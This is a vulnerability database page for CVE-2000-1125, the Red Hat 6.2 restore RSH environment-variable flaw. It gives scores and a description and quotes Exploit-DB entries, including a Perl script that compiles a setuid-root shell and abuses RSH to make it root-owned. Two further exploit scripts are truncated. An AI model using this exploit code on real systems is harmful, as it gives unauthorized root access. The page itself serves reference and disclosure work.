CVE-2000-1125
published 2001-01-09CVE-2000-1125: restore 0.4b15 and earlier in Red Hat Linux 6.2 trusts the pathname specified by the RSH environmental variable, which allows local users to obtain root…
PriorityP420high7.2CVSS 2.0
AVLACLAuNCCICAC
EXPLOIT
EPSS
1.11%
62.2th percentile
restore 0.4b15 and earlier in Red Hat Linux 6.2 trusts the pathname specified by the RSH environmental variable, which allows local users to obtain root privileges by modifying the RSH variable to point to a Trojan horse program.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| redhat | linux | — | — |
| redhat | linux | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
RedHat 6.2 Restore and Dump - Local Privilege Escalation
exploitdb·2000-11-16
CVE-2000-1125 RedHat 6.2 Restore and Dump - Local Privilege Escalation
RedHat 6.2 Restore and Dump - Local Privilege Escalation
---
#!/usr/bin/perl
# perl exploit of restore and dump
# redhat linux 6.2
# written by tlabs
# Use at your discretion
$EXPORT1="TAPE=garbage:garbage" ;
$EXPORT2="RSH=./hey" ;
sub USAGE
{
print "$0 \n1=dump 2=dump.static 3=restore 4=restore.staic\nYour choice innit;)\nWritten by Tlabs\n" ;
exit 0 ;
}
sub ERROR
{
print "$_[0]\n" ;
exit 0 ;
}
open(TEMP, ">shell.c")|| ERROR("Something went wrong:$!");
printf TEMP "#include\n#include\nint main()\n{" ;
printf TEMP " setuid(0);\n\tsetgid(0);\n\texecl(\"/bin/sh\",\"sh\",0);\n\treturn 0;\n}" ;
close(TEMP);
system "cc -o shell shell.c" ;
unlink "shell.c" ;
open(TEMP1, ">hey")|| ERROR("Something went wrong: $!");
printf TEMP1 "#!/bin/sh\nchown root shell\nchmod 4755 shell" ;
close(TEMP1)
Exploit-DB
RedHat 6.2 - '/sbin/restore' Local Privilege Escalation
exploitdb·2000-11-16
CVE-2000-1125 RedHat 6.2 - '/sbin/restore' Local Privilege Escalation
RedHat 6.2 - '/sbin/restore' Local Privilege Escalation
---
#!/bin/sh
#
# /sbin/restore exploit for rh6.2
#
# I did not find this weakness my self, all i did was
# writing this script (and some more) to make it
# automatic and easy to use.
#
# This exploit should work on all redhat 6.2 systems
# with /sbin/restore not "fucked up". May work on other
# distros too, but only tested successfully on rh6.2.
#
# Make sure that the $USER variable is set! If you aren't
# sure, do a SET USER= before you start
# the exploit!
#
# Please do NOT remove this header from the file.
#
echo "###########################################"
echo "# /sbin/restore exploit for rh6.2 #"
echo "# this file by nawok '00 #"
echo "###########################################"
echo " "
echo "==> EXPLOIT STARTED, Wait..."
Exploit-DB
RedHat 0.4 b15 restore - Insecure Environment Variables
exploitdb·2000-11-04
CVE-2000-1125 RedHat 0.4 b15 restore - Insecure Environment Variables
RedHat 0.4 b15 restore - Insecure Environment Variables
---
source: https://www.securityfocus.com/bid/1914/info
restore is a program for backup and recovery procedures, distributed with the RedHat Linux Operating System. A vulnerability exists that could allow a user elevated permissions.
The problem occurs in the RSH environment variable. restore is dependent upon this environment variable for execution. It is possible to set this variable PATH to that of an executable, and then execute restore. This will result in the executable in the RSH environment variable being run with an EUID of 0. Exploitation of this vulnerability by a malicious user can result in root compromise.
#!/bin/sh
#
# Exploits a stupid bug in redhat 6.2's (others..) restore program.
# restore version 0.4b15 execu
No writeups or analysis indexed.
2001-01-09
Published